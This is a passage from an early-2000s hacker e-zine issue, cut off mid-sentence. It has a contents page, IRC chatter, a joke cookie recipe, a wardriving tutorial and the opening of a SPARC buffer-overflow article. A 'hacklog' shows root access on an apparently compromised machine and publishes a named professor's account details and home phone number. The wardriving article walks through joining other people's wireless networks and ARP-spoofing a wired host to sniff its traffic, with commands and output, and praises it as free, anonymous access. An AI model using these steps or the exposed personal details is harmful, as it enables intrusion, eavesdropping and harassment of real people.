¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ ::ÆÆÆ[www.blackhat.cx]ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ:: ____________ --)-----------|____________| ,' ,' -)------======== ,' ____ ,' `. `. ,' ,'__ ,' `. `. ,' ,' `. `._,'_______,'________________[ vol.2 <=> issue#1 ] __________.____ _____ _________ ____ __.__________.___ _______ ___________ \______ \ | / _ \ \_ ___ \| |/ _______ /| |\ \ \_ _____/ | | _/ | / /_\ \/ \ \/| < / / | |/ | \ | __)_ | | \ |___/ | \___| | \__/ /__| | \_| \ |______ ________ ____|__ /\______ _____|__ __________\___\____|_______________/ \/ \/ \/ \/ \/ @logicfive.net .-"" |=========================== ______________ |--------------------------------- "-...l_______________________ | |' || |_]__ | [`-.|__________ll_| |----- www.blackhat.cx -------- ,' ,' `. `. | (c) The BlackHat Project | ,' ,' `. ____`. ------------------------------- -)---------======== `. `.____`. __ `. `. / /\ `.________`. _ / / \ --)-------------|___________| ,-- / /\/ / \ -, | ,/ / \/ / |----> the table of contents ,---| \ \ / |---------------------------------------------------------------, | `-- \ \ / -----' " Kill my boss? Do I dare live out the American dream?" | `\`*_' - Homer J. Simpson | \__________________________________________________________________________' | |:0x01 - Welcome --------------------------------------------------------------->STAFF | > 1ntroduct1on ---------------------------------------------------------->STAFF | > About Bz1ne ----------------------------------------------------------->STAFF |:0x02 - News ------------------------------------------------------------------>STAFF | > Back ------------------------------------------------------------------>STAFF |:0x03 - 0x31337 --------------------------------------------------------------->STAFF | > f4t l0gZ! | > f4t qu0t3z | > f4t c00k13z | > f4t h4ckl0gz |:0x04 - L1cense To Wardr1ve --------------------------------------------------->sorbo | > Preface | > 1ntro | > W1reless Lan Overv1ew | > 802.11 Overv1ew | > Management Frames | > Data Frames | > Sn1ff1ng Wlan´s | > Assoc1at1ng To A Network | > Act1ve Attack | > Conclus1on |:0x05 - Explo1t1ng SPARC Buffer Overflow vulnerab1l1t1es ------------------------>pr1 | > 1ntroduct1on | > Arch1tecture Overv1ew | > 2.1 - Sparc Reg1sters | > 2.2 - Sparc P1pel1ne | > 2.3 - 1nstruction S1ze | > 2.4 - Function Calls | > 2.5 - Leaf and Opt1m1zed Leaf Procedures | > 2.6 - Sparc Stack | > A Demonstrat1on Vulnerab1l1ty | > 3.1 - Study1ng the overflow 1n theory | > 3.2 - Study1ng the overflow w1th gdb | > Bu1ld1ng an explo1t | > 4.1 - Major d1fferences between Sparc and x86 | > 4.2 - Al1gnment | > 4.3 - The explo1t | > Alternat1ve ways of explo1t1ng | > Conclus1on | > References |:0x06 - Doug Lea Malloc Debug ---------------------------------------------->boldface | > Introduction | > Download | > Installation | > History | > TODO | > Step 1. | > Step 2. | > Step 3. | > Step 4. | > Step 5. |:0x07 - |:0x08 - | `-------------------------------------------------------------------------------------' ::ÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆÆ[www.blackhat.cx]ÆÆÆ:: ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ #=> 0x01 Welcome Wr1tten by STAFF ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ #=[ 1ntroduct1on. ]=---> The Blackhat Community has always been more or less underground. That is just normal if you think the nature of the scene. A group of misunderstood and mysterious people that are often judged in world-wide media. Blackzine or B-zine is trying to bring the community near to common people and it tries to break the common stereotypes made of "hackers". All blackhats are not evil, they just dont wan't to live in this many ways cruel society. For them cyberspace and coding is the way to make the difference. Dont judge, understand. #=[ About BlackHat. ]=---> Bzine is for people. From blackhat scene to all those who are interested in ethics and security related articles. "White or Greyhat, it just don't matter Sucker dive for your life when my shotgun scatters" - Anonymous @ http://phrack.ru blackzine group, 2k3 ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ #=> 0x02 News. Wr1tten by STAFF ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ :> Back As you may have noticed we have b33n inactive the last 2 month. Well there are a few reason for that I (lkm) was 2 lazy 2 do this alone and I did not have much spare time for doing this, but now i got good friends that are helping me and making this more easy for me so now there will be a good issue evry 15th each month so i hope you will like this and i would like to thank all people that have helped me and supported ! tNx!$#"=% ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ #=> 0x03 0x31337 Wr1tten by STAFF ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ :> f4t l0gz! Gibson fan: lets hack the gibson according to ripper: skypah i think he's dead he may be i gave him laced weed, that might have done it heh, i think he drank 320mg of methadone y0 bond :> verb drunk!(women should not drink!): matt___]: No such nick/channel mat___: No such nick/channel mattt___: No such nick/channel 07:59AM my gnu/linux will only be 2.4.18 07:59AM BitchX-1.0c19+ by panasync - Linux 2.2.19 07:59AM :/ matt___]: No such nick/channel mat___: No such nick/channel 07:59AM dunno mattt___: No such nick/channel 07:59AM i dont use linux <-- cannot type while drinking matt___: No such nick/channel jesus chriwst! matt___: No such nick/channel 07:59AM whilst drinking 07:59AM :/ ùíù mode/#phrack [-v matt____] by verb 08:00AM :( okay there we go, and it only took me 5 tries now i've forgotten why i devoiced you 08:00AM was it an accident the first time? its the 4 underscores that threw me :( trpz is from malaysia!: i reckon bsd should come default with vim instead of vi the fact that i get SO confused when im not told that input mode is set is enough reason in itself all unix's should come with just sed, ed and vi to annoy linux kiddies trpz/#!el8 takes a step back before CF hits him any harder and awk hehe you need awk i hate it how chfn/sh uses vi to edit in bsd yeah me too actually it should just prompt chsh sync /bin/csh trpz, it uses whatever $EDITOR is set to (which is vi by default in bsd) :> f4t qu0t3z "i had a gay dream , literally" - sionide "sendin him down the shop to go buy "some internet" should keep him busy for a few hours" - retch :> f4t c00k1ez [sinister's bakery] Hi. Before you get all cocky about "wtf is up with this guy talkin bout cookiez in a blackhat ezine", you should consider the following statement; blackhats are humans. They eat. I will reveal a recepy for cookies that taste good and go great with ./'ing the sec-industry. Here's what we need: - 250g oat flakes - 1dl milk - 2 eggs - 50g nuts - 150g sugar - 150g butter - 250g flour - 1/2 baking powder We take the butter and mix it with sugar and eggs (and i mean MIX IT, so you got some really messy shit when you're done). In the other pot, we spill the milk over the flakes. We grind the nuts. We add the flakes, nuts and flavour with baking powder to the messy shit we made of butter few mins ago. After it's all together, we take smaller pieces and make cool shapes out of 'em. We BAKE it on 220Ci for 10 minz. You can add weed somewhere in the process if you feel like it. Enjoy it :) :> f4t h4ckl0g [root@ase .el8b1tch]# finger spaf Login: spaf Name: Gene Spafford Directory: /home/pier/e/spaf Shell: /bin/ksh Never logged in. No mail. No Plan. [root@ase .el8b1tch]# cd /home [root@ase home]# ls ase dynamo pier shay [root@ase home]# cd pier [root@ase pier]# cd e [root@ase e]# cd spaf [root@ase spaf]# ls ls: .: Permission denied [root@ase spaf]# ls -al ls: .: Permission denied [root@ase spaf]# su spaf [spaf@ase spaf]# ls [spaf@ase spaf]# ls -al total 4 drwx--x--x 2 spaf other 512 Jul 26 1999 . drwxr-xr-x 138 root root 2560 Oct 28 12:07 .. [spaf@ase spaf]# pwd /home/pier/e/spaf [spaf@ase spaf]# whoami spaf [spaf@ase spaf]# id uid=14309(spaf) gid=1(other) groups=1(other) [spaf@ase spaf]# [root@ns1 .el8b1tch]# finger spaf@pier.ecn.purdue.edu Login name: spaf In real life: Eugene H Spafford Office: CS116, 47825 Home phone: 4634857 Directory: /home/pier/e/spaf Shell: /bin/ksh Affiliations: cs Uid: 14309 Expires: December 28, 1996 Login group: other (1) Department: Computer Science Classification: Professional Faculty Account type: Special Perm Authorized by: davy Never logged in. Mail forwarded to spaf@cerias.purdue.edu Plan: yo check it - I'm fat and owned [root@ns1 .el8b1tch]# ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ #=> 0x04 L1cense To Wardr1ve Wr1tten by sorbo ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ :> Preface I am not an expert in 802.11b (because it is quite a complicated protocol), but I know enough in order to abuse it. I did not have much access to equipment which made my studies harder. Things may be wrong or imprecise (although I think most of the information is correct). Please bare with me. I coded all the software you see in the paper (If you really want it you can request it: it works only on PrismII based cards). :> 1ntro The good old days of wardialling, scanning X.25 and so on seems to have come back in a better form. That was fun... but scanning was a pain. Of course, once a carrier was found it was widely insecure because of the mentality: "no one knows the phone number... why bother with security". "Hacking" them was easy... actually... default passwords did it all! Times are changing... and things are becoming even more insecure (should it not be the opposite?!?!). Well, apparently today you can cruise around with your car and be connected on the net with 11Mbit bandwidth. Of course this is also much more exciting than staying home in your hidden bunker... now you are out on the road ready to kick ass... just like in those nice movies. :> W1reless Lan Overv1ew WLAN consists of a high bandwidth radio LAN on the air. 2.4GHz frequency. Yes this means short range, but not too short, as you will see on the road. Range usually varies around 100 meters (for normal cards with built in antennas). Obviously a site with antennas will reach greater distances. The protocol it uses is IEEE 802.11, and I will focus on 802.11b (which is the 11Mb/s WLAN). Being a lan on air, eavesdropping (sniffing) is trivial. The only "security" will therefore only rely on encryption. 802.11 does provide encryption at a hardware level via the WEP algorithm (rc4 as a stream cypher using 64/128 bit seed composed of a key and IV (which is known) ). WEP is broken... therefore relying on it as security is naive. You will however notice that most of the WLAN networks out there do not even bother with WEP (saving us about 10 minutes of more work... or however long it takes to break WEP). I will not discuss WEP breaking (since people out there do that much better than me). I will mainly concentrate on sniffing (passive attacks), and other networking issues. :> 802.11 Overv1ew 802.11 is quite a complicated protocol. Being a wireless environment, computers come and go therefore some form of discovery is needed at the MAC layer. There must be a mechanism to distinguish different networks that share the same media. This is done trough "association" between stations that wish to communicate and form a logical network. If two stations are associated, they may communicate, else not. Stations associate to each other via a security id (SID). Every logical network has a unique security id (this was 2 separate networks may run even if they share the same media: i.e. if they are in range to each other). An analogy could be that the sid is the "hub or switch" of the network. Thus stations with the same SID are attached to the same hub. This allows for different logical networks that share the same medium (the air). If many networks are present in the same location with a different SID, everything will work correctly (networks will not interfere at a "logical" level). They will however interfere at a physical level, since they will be sending signals at the same frequency. This will cause FCS errors (checksum errors), thus increasing network latency (lag). A work around is to send at slightly different frequencies. WLAN's in fact operate at a frequency range 2.4->2.5GHz. These different frequencies are better known as channels. Operating wlans at different channels will help the problem of physical interference. 802.11 can operate in two modes (well actually 3, if you count AP as a mode): Ad-hoc and infrastructure. Ad-hoc (or independent) is the simplest form network. The network will consist of a single "cell" (can think of it as a single logical network). All systems will communicate directly in that cell. The systems will all be associated with each other. Infrastructure mode is the better but more expensive design. The station will associate with an Access Point (AP) and communicate only with it. A station will be associated with only one AP at a time. You may think of the AP as the "gateway/bridge/repeater". Access points usually have better antennas, thus increasing overall network performance. For example if two stations (A,B) are far apart from each other, but still in range with the AP, they will still be able to communicate to each other: |-signal will reach -|- will reach -----| | | | [A] ---------------- [AP] ------------- [B] | | |------ signal will not reach ----------| A will send to AP which will send to B. Note: A will not send directly to B (as it would happen in Ad-hoc mode). In Ad-hoc mode, A and B would not be able to communicate (since they are out of range form each other). Usually AP's bridge to wired LAN networks, so someone from the wlan will be able to access the wired LAN as well. If multiple access points are set, the station may "roam" from one AP to another (depending on the signal strength, the station will associate to the AP with best signal). Note: a station may not be associated to 2 AP's (there must be a unique path to reach the station). 802.11 provides 3 types of frames: management, control and data. Management deal with the "association" issues and station discovery. Control are basically ACK frames CTS/RTS and other things (since it is a shared medium, errors do occur due to interference). Data frames contain the actual data that is communicated. Data frames may be encrypted with the wep algorithm (cards provide hardware encryption/decryption to speed things up). Again... WEP is broken do not rely on it. Note that management and control frames are sent clear. Also, only the data portion is cyphered (so the 802.11 header will be clear). :> Management Frames These frames are used for discovery, authentification and association. The first step in 802.11 communication is to "find" stations to talk with. This is achieved by these subtypes of management frames: BEACON: this frame is an "advertising" frame in which a station gives out information about itself (yes... we love these... ). This frame is sent by access points, so stations wishing to join the network may associate. Listening to beacons is the "passive scanning" stations use for association. The beacon contains the SID, supported speed rates, channel and other info. Basically all we need to join a network. You would say this is insecure?? Listen to beacon frames and your in. Yes it is that easy. The fact is that firmwares should not pass all frames to kernel (thus it should be "secure"), but we see how this can be overridden. PROBE REQUEST/RESPONSE: these are similar to beacons (in fact the response has the same info as beacon frames). These are used for active scanning, where a station sends a probe request to find access points (in contrast to passive scanning which involves beacon interception). Note: in Ad-hoc mode, you are "associated" at this point and can communicate. What follows is for Infrastructure mode. Once and AP is found, we need to authentificate to it. Authentification in 802.11 means either "null authentification" or "sharedkey". If the network does not use WEP, authentification is literally "let me in" (no password.. nothing). If it uses WEP, it involves challenge/response of the key. This is done with the AUTHENTIFICATION frame: it contains the algorithm used ("null" or "wep") and the challenge (only if wep). Once a we are authentificated we need to associate to the AP. This is done with ASSOCIATION REQUEST which contains the station's capabilities (capabilities involve mode of operation and weather wep is supported) and we get a ASSOCIATION REPLY which contains an association id and capabilities. Here is an example of Ad-hoc "association" (ignoring beacons): Status=0700 Signal=a5 type=0 sub=4 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff SA=00:50:8b:d0:39:b6 RA=ff:ff:ff:ff:ff:ff TA=0f:0d:a0:f0:8f:0e MANAGEMENT PROBE REQUEST SSID=sorbo RATES=1000 2000 5500 11000 Status=0700 Signal=7b type=0 sub=5 fds=0 tds=0 wep=0 DA=00:50:8b:d0:39:b6 SA=00:30:ab:0f:55:51 RA=ca:68:8b:22:5d:ac TA=47:aa:e0:17:8f:6b MANAGEMENT PROBE RESPONSE ess=0 ibss=1 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000 CHANNEL=6 UNKNOWN ELEMENT 6 (00 00 ) Ok we notice the probe request with the ssid (obviously it is broadcast). The response has all the needed info: channel, ssid, rates. Also note ibss=1 (indicating ad-hoc mode). The 2 stations are now "associated" and may communicate (send data frames). The association in Ad-hoc does not involve authentification and association frames (apparently the firmware keeps a "table of stations" by intercepting beacons with same ssid). This is also true in WEP environments (at least from my tests). Here is the association with an access point (ignoring beacons again): Status=0700 Signal=99 type=0 sub=4 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff SA=00:30:ab:0f:55:51 RA=ff:ff:ff:ff:ff:ff TA=0f:0b:f1:30:0f:0f MANAGEMENT PROBE REQUEST SSID=sorbo RATES=1000 2000 5500 11000 Status=0700 Signal=c0 type=0 sub=5 fds=0 tds=0 wep=0 DA=00:30:ab:0f:55:51 SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0f:0f:50:f0:8f:2e MANAGEMENT PROBE RESPONSE ess=1 ibss=0 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000 CHANNEL=3 Ok we get the usual active scan, the reply contains all the info again. Note ess=1 (since it is an access point). Status=0700 Signal=b7 type=0 sub=11 fds=0 tds=0 wep=0 DA=00:50:8b:d0:39:b6 SA=00:30:ab:0f:55:51 RA=00:50:8b:d0:39:b6 TA=4f:20:d0:a7:07:ca MANAGEMENT AUTH algo=0 seq=1 status=0 Status=0700 Signal=99 type=0 sub=11 fds=0 tds=0 wep=0 DA=00:30:ab:0f:55:51 SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0f:1f:f4:b1:0f:0e MANAGEMENT AUTH algo=0 seq=2 status=0 Ok we get the auth request and response. Algorithm = 0 (null: note no password... nothing). Obviously auth is successful (status=0) since there is no password (we do not use WEP). Status=0700 Signal=a2 type=0 sub=0 fds=0 tds=0 wep=0 DA=00:50:8b:d0:39:b6 SA=00:30:ab:0f:55:51 RA=00:50:8b:d0:39:b6 TA=0f:fa:e0:a6:8f:25 MANAGEMENT ASSOC REQ ess=1 ibss=0 privacy=0 Status=0700 Signal=99 type=0 sub=1 fds=0 tds=0 wep=0 DA=00:30:ab:0f:55:51 SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0e:0f:a2:30:1b:87 MANAGEMENT ASSOC RESP ess=1 ibss=0 privacy=0 status=0 We then associate with the access point. At this point we may communicate (by communicate I mean sending data frames). The firmware does all this management (I think you can set the kernel to do it somehow... with some strange debug mode). All the user needs to know to associate with an AP is the security id. This can be obtained by sniffing beacons which are transmitted all the time (or probe requests/responses). Thus associating with a network (where WEP is not present) is trivial (all the info can be sniffed!). APs send beacons on multiple channels usually as well, so sniffing on one channel may be sufficient, although we can "channel-hop sniff" :> Data Frames Let's see how data is sent once we are associated. The data uses layer 2 LLC as a datalink (IEEE 803.2). It is usually followed by SNAP, and whatever follows is determined by the ethertype (usually IP and ARP. The data may be encrypted with WEP. If this is true the data will consist of an IV followed by the real data and a checksum (encrypted). The IV will be clear (since it is needed for decryption). This is an example of data going from a wireless station to an AP which bridges it to a wired station: Status=0700 Signal=96 type=2 sub=0 fds=0 tds=1 wep=0 DA=00:50:8b:d0:39:b6 SA=00:30:ab:0f:55:51 RA=00:80:c8:7a:39:14 TA=4f:1d:d4:c6:0e:2d ICMP 192.168.1.100->192.168.1.254 len=40 type=8 code=0 Status=0700 Signal=c6 type=2 sub=0 fds=1 tds=0 wep=0 DA=00:30:ab:0f:55:51 SA=00:50:8b:d0:39:b6 RA=00:80:c8:7a:39:14 TA=8f:2e:f2:f2:0f:0f ICMP 192.168.1.254->192.168.1.100 len=40 type=0 code=0 As mentioned earlier, all data is sent to the access point. The destination address is in fact the access point MAC addr. Also note the tds=1 (to access point). The source address is the src address of the sending station. The third address (RA) is the address of 192.168.1.254 (the real destination). In the reply the real source address is in RA again. Note fds=1 (from access point). The 802.11 header has 4 address fields because stations communicate with each other through the access point and not directly with each other. If a frame is sent to an access point, addr3 (RA) will be the final destination. If a frame is sent from an access point, RA will be the real source. When is addr4 used ? Well suppose both tds and fds are 1. This occurs when an access point sends data from one AP to the other. This happens if 2 stations are really far from each other and are associated to different AP's. The AP's must "hop" the packets between them. In this case final source and destination will be in RA and TA. In general, the "immediate" source and destination is in DA and SA. The final (real) addresses will be in RA TA (and will be used according to the settings of tds and fds). In Ad-hoc mode, only SA and DA will be used since communication is direct and no access points are present (fds and tds will always be 0). :> Sn1ff1ng Wlan´s Ok enough of the protocol... lets see how we capture all this stuff. "How do I put a wlan in promiscuous mode?" I probably asked that question to myself 100 times. Obviously wlan cards SHOULD NOT be capable of entering promiscuous mode (in fact I think many people rely on this principle for security). As we saw... all data may be monitored, and crucial configuration parameters are sent in clear text (even if WEP is enabled... only data frames are ciphered with WEP). The way I (and all the world I guess) do it: Hardware: - Card with Intersil prism II chipset (I've used Compaq WL100 and netgear M401) Software: - I modified wlan driver to pass ALL stuff raw via netlink socket ( did not like the way it reorganized the physical header, and I want packets with FCS error as well... useful for finding networks far away) - A lame sniffer that dumps everything PrismII supports "monitor mode" which tells the firmware to shut up and send everything to us (even undecrypted packets). I have studied the outcome of these packets and they are quite bugged/messed up (the 802.11 part...). Here are my general results. This is the general format: [PHYSICAL] [802.11] [LENGTH] [802.3] [DATA] Ok physical is quite straight forward... contains a status (does not report that it did not decipher packet though...). It also contains signal level. 802.11: this is a "prism2 version" of the 802.11 header. I say prism2 because much of the things (in monitor mode) are wrong (such as wep=0). Also all address fields are present when not needed. Also, FCS is not present (but we know FCS error from status in the physical header). LENGTH: There is just a "length" here put by prism2 802.3: Yeah... prism2 puts a "fake" 802.3 header to help us. The only "valid" in here is the length which always matches the other LENGTH (but this time big endian =P ) Ok ... all this is always present, no matter what the frame. For control frames, length will match the length in 802.3 but it is wrong... so assume 0. The [data] portion is probably the only sane thing that follows the 802.11 standard. Ok, we may monitor all the communication on the air (if we have the wep key we may even decrypt it). Stuff we can do: - Monitor all passwords / traffic sent on air - Obtain parameters to associate to network (only the ssid (and channel if Ad-hoc) :> Assoc1at1ng To A Network All the info we need is in beacon packets... gather those... and we are in. Here is an example of a beacon: Status=0700 Signal=96 type=0 sub=8 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=1e:3b:3b:e6:45:4f MANAGEMENT BEACON ess=1 ibss=0 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000 CHANNEL=3 UNKNOWN ELEMENT 5 (02 03 00 00 ) Ok the first thing we need to know is if the network is with an AP or Ad-hoc. Well this is easy... look at capabilities and see if ess=1 or ibss=1. Next thing is the SID. Just read it off the beacon If the network is Ad-hoc we need the channel. Just read it off beacon again. We type in the parameters... and we are associated (assuming no WEP key: again it is easily broken.. go read about it somewhere). Ok we are associated. We need an IP. Obvious solution: try dhcp (you will be surprised how many networks have it). If dhcp works we probably have an ip, router address, dns.. and we probably even go on internet. Alternatively we can sniff the network a little longer and wait for some arp packet or ip packet. Then we just assign an IP to ourselves, scan for a router (try .1 or .254 ) and try to route to the world ;D Note: once associated you may use tcpdump or some other sniffer. :> Act1ve Attack Ok... until now we have only been sniffing wireless and associating. We can use high speed internet for free... or we can hack the company (probably no firewalls in wireless). Yes we can sniff... it is cool... but we want more. You may notice many companies having wireless but not actually "using" it. This means... you only sniff beacons and broadcasts. Lets try to sniff their wired lan. Suppose we associate to the wlan AP and we are bridged to a wired lan (very common). You may think of the AP as a switch. You "plugged your laptop on the network". You will not intercept all wired traffic (just as you wouldn't on a normal network), because only frames with destination address of a wireless station will be sent on the air by the AP (and broadcasts). This is obvious: the AP acts like a switch rather than a "hub". What if we make a host on the wired lan think that it's wired router is on the air? Yes... good old arp spoofing. Ok here is the scenario: We have 2 wired boxes: MAPHIA the router (.254) and 2K (.150) We then have an access point which bridges to the lan: KNZBOX (.1) We then have 1 wireless laptop (the intruder): sorbo (.200) This is how it is setup INTERNET ----- [modem:MAPHIA:lan]------- [lan:2K] | [sorbo:wlan]-[wlan:KNZBOX:lan] Now suppose 2k does telnet 216.239.37.101 80 We will not sniff it from the wlan, since KNZBOX will not bridge it (MAPHIA is not on wlan). We want to make 2K think that MAPHIA is on wlan, capture the data and send it back to MAPHIA. This way we will sniff all traffic going out from 2k to INTERNET. All we do poison 2k's arp cache and make it think MAPHIA is at our MAC address. We then capture the packet, and reroute it back to MAPHIA. This is how it will look: 2K -> KNZBOX -> sorbo -> KNZBOX -> MAPHIA -> INTERNET Note: to sniff traffic coming back we would have to poison MAPHIA's arp cache making it think 2K is on wlan and then reroute it back. Lets try this: Step 1: log to network... easy sniff sid, setup... we are in. # ./sorwdump Status=0700 Signal=93 type=0 sub=8 fds=0 tds=0 wep=0 DA=ff:ff:ff:ff:ff:ff SA=00:50:8b:d0:39:b6 RA=00:50:8b:d0:39:b6 TA=0d:2a:74:47:8f:10 MANAGEMENT BEACON ess=1 ibss=0 privacy=0 SSID=sorbo RATES=1000 2000 5500 11000 CHANNEL=3 UNKNOWN ELEMENT 5 (00 03 01 00 ) Step 2: poison 2k's cache: send an arp request with srcip MAPHIA srcmac OUR's dstip 2K to 2k. # ./sarp wlan0 00:30:AB:0F:42:33 00:50:BF:D4:83:CB 1 00:30:AB:0F:42:33 192.168.1.254 00:00:00:00:00:00 192.168.1.150 1000000 (arp -a on 2k will show .254 matches 00:30:AB:0F:42:33 (us)) Step 3: enable ip forwarding on our box (set maphia as default gw aswell) and run tcpdump. # tcpdump -n -i wlan0 host 216.239.37.101 tcpdump: listening on wlan0 18:23:43.001799 192.168.1.150.1047 > 216.239.37.101.80: S 1954465349:1954465349(0) win 16384 (DF) 18:23:43.002001 192.168.1.150.1047 > 216.239.37.101.80: S 1954465349:1954465349(0) win 16384 (DF) 18:23:43.324833 192.168.1.150.1047 > 216.239.37.101.80: . ack 3952946124 win 17520 (DF) 18:23:43.325623 192.168.1.150.1047 > 216.239.37.101.80: . ack 1 win 17520 (DF) Nice... ;D We can sniff all wired traffic as well! (probably do man in the middle as well... we can do about anything we could do on a normal lan... just need to think a little) This attack is not against 802.11 exactly.. in fact it is a more "general" attack, but I find it very useful. Other active attacks may be done on the 802.11 protocol directly (such as AP hijacking and other things). I do not think such attacks are worth it. I think being able to monitor everything (both wireless and wired lan) is enough to launch any other attack. It's easier to redirect connections via ARP rather than trying to send signals at higher power than access points and trying to redirect wireless stations or something. Effectively arp spoofing the main wired router will enable you to monitor, DOS and redirect about everything. Note that you become the bottleneck of the lan.. it would be funny seeing an 100Mb/s backbone rerouted in air, and back on cable again. :> Conclus1on The real benefit is: sitting in a car, rerouting all the traffic of a building in a car and back. Here are interesting points to consider: - Free high speed internet - "Unknown source" i.e. they do not know who it was (unless there was a camera, or someone caught you WHILE you were doing the attack - Ability to monitor everything - Easy - Ability to send ARP packets (yes I think this very important) Compare it to "wardialling" - Yes... car fuel costs =P - You do not have to rely on default passwords / lame configuration errors rather u can get in 99% (probably even 100%) of the times - HIGHSPEED ;D Well... sit back in your car... launch the network finder... and see you on the road (watch out for other wardrivers ;D) ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ #=> 0x05 Explo1t1ng SPARC Buffer Overflow vulnerab1l1t1es Wr1tten by pr1 ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ :> Introduction Sparc is a RISC architecture built by Sun Microsystems. It's supported by many operating systems like Solaris, Linux, OpenBSD, NetBSD,... As Sun decided to develop Solaris => 9 for Sparc only and as there is not much information on Sparc overflows on the net i decided to write this article. There are some major differences in handling the calling and returning from functions and stack management on Sparc that are worth knowing. If you ever asked yourself: "Why am I unable exploit this simply strcpy() in main() on Sparc ...". This paper has the answer. :> Architecture Overview There are 32 general purpose registers on Sparc at any given time. 8 of them are global, these are the "global" registers. They are called %g0 - %g7 and are consistent during procedure calls. Then there are another 24 registers in a so called register windows. A window consists of 3 types of registers. The "in", "out" and "local" registers. A Sparc implementation can have anything from 2 to 32 windows thus having 40 - 520 registers (remember that the global registers are static). The variable number of registers is the reason to call Sparc scalable. At any given time only one window is visible. This window is determined by the CWP (current window pointer) which is part of the PSR (processor status register in Sparc V8). It's a whole register in Sparc V9. These instructions are primarily used for procedure calls. The concept is that "in" registers contain procedure arguments, "local" registers can be used for storing values while the procedure executes, "out" registers contain outgoing arguments. The "global" registers are used for values that do not change much between procedure calls. The register windows overlap partially. The SAVE operation renames the "out" registers to become the "in" registers of the called procedure. Because procedure calls are a quite frequent operation this was meant to improve performance. Actually this was a bad idea caused by studies that only considered insolated programs. The drawback is: With interaction with the system the registers have to be stored on the stack which results in a lot of slow store and load instructions. :>> 2.1 - Sparc Registers The Registers are organized as follows: %g0 - %g7 (%r0 - %r7) : global - registers %o0 - %o7 (%r8 - %r15) : out - registers, they contain arguments for procedure calls %l0 - %l7 (%r16 - %r23): local - 